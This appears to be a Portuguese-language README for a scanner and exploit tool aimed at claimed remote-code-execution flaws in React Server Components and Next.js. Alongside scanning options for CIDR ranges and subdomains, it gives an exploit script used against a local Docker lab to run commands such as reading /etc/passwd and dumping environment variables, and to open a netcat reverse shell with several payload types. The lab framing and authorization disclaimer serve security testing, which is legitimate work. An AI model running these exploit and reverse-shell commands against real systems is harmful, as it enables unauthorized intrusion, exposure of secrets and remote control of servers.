
React2shell-web-scanner
Scanner de vulnerabilidades de alta fidelidade para CVE-2025-55182 e CVE-2025-66478 - Vulnerabilidades de Execução Remota de Código em React Server Components / Next.js.
📖 Para análise técnica detalhada, mecânica de exploração e dados IOC, consulte SECURITY-RESEARCH.md
Esta ferramenta é fornecida APENAS para FINS EDUCACIONAIS E DE TESTES DE SEGURANÇA AUTORIZADOS. O acesso não autorizado a sistemas de computador é ilegal. Use estas ferramentas apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. Os autores não assumem qualquer responsabilidade pelo uso indevido.
| CVE | Descrição | CVSS |
|---|---|---|
| CVE-2025-55182 | RCE por Desserialização Insegura em React Server Components | 9.8 Crítico |
| CVE-2025-66478 | RCE em Server Actions do Next.js | 9.8 Crítico |
Pacotes Afetados:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0Versões Corrigidas:
# Nenhuma instalação necessária - uv gerencia as dependências
uv run react2shell-scanner -u https://example.com
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com
# URL única
python3 react2shell-scanner -u https://example.com
# Modo seguro (sem execução de RCE)
python3 react2shell-scanner -u https://example.com --safe-check
# A partir de arquivo de hosts
python3 react2shell-scanner -l targets.txt -t 50 -o results.json
# Intervalo CIDR
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000
# Múltiplos intervalos CIDR
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24
# Enumeração de subdomínios
python3 react2shell-scanner -u example.com --enumerate-subdomains
# Wordlist personalizada de subdomínios
python3 react2shell-scanner -u example.com --enumerate-subdomains \
--subdomain-wordlist "app,api,admin,portal,staging"
# Caminhos personalizados
python3 react2shell-scanner -u https://example.com \
--path / --path /_next --path /api
# Ignorar fingerprinting (varrer tudo)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan
# Verboso com SSL desativado
python3 react2shell-scanner -u https://example.com -k -v
# Envio de descobertas para a Phoenix
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--phoenix-config .phoenix.config
# Modo de depuração (salvar payloads)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--debug
# Enviar todos os resultados (não apenas vulnerabilidades)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--all-results
Crie .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new
Ou use variáveis de ambiente:
export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"
Um ambiente de teste baseado em Docker está incluído. Consulte Lab-instructions-sample.md para referência rápida.
# Iniciar laboratório
cd test-lab/lab
docker-compose up -d
# Serviços:
# - Vulnerável: http://localhost:3011
# - Corrigido: http://localhost:3012
# Testar instância vulnerável (coleta segura de evidências)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e
# Testar instância corrigida
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e
# Executar demonstração completa
./test-and-demo.sh --full-demo
⚠️ Nota: Comandos de exploração (ex.:
exploit.py -c "whoami") acionam RCE REAL. Use apenas em contêineres Docker locais para fins de pesquisa.
Execute comandos em alvos vulneráveis. Requer Python 3.11+
cd test-lab
pip3.11 install -r requirements.txt
# Ou: pip3.11 install rich-click fake-useragent rich requests
# Execução básica de comando
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Saída: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Saída: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Saída: 99e28775bf80 (ID do contêiner)
# Enumeração do sistema
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"
# Reconhecimento da aplicação
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Saída: /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
# Informações de rede
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"
# Enumeração de processos
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"
# Obter gateway da rede Docker
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
# Iniciar ouvinte (em outro terminal)
nc -lvnp 4444
# Lançar shell reverso
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo
# Tipos de payload disponíveis: nc, nc-mkfifo, sh, bash, perl
| Opção | Descrição |
|---|---|
-u, --url | URL do alvo (obrigatório) |
-c, --cmd | Comando a executar |
-r, --reverse | Ativar modo shell reverso |
-l, --lhost | Host do ouvinte para shell reverso |
-p, --lport | Porta do ouvinte para shell reverso |
-P, --payload | Tipo de payload: nc, nc-mkfifo, sh, bash, perl |
--timeout | Tempo limite da requisição (padrão: 10s) |
[VULNERABLE] https://vulnerable.example.com
Status: 307
Detection: rce_arithmetic_check
[IOC MATCH] 93.123.109.247
IP 93.123.109.247 matches known malicious infrastructure
[NEXTJS] https://safe.example.com v15.0.0
[NOT VULN] https://other.example.com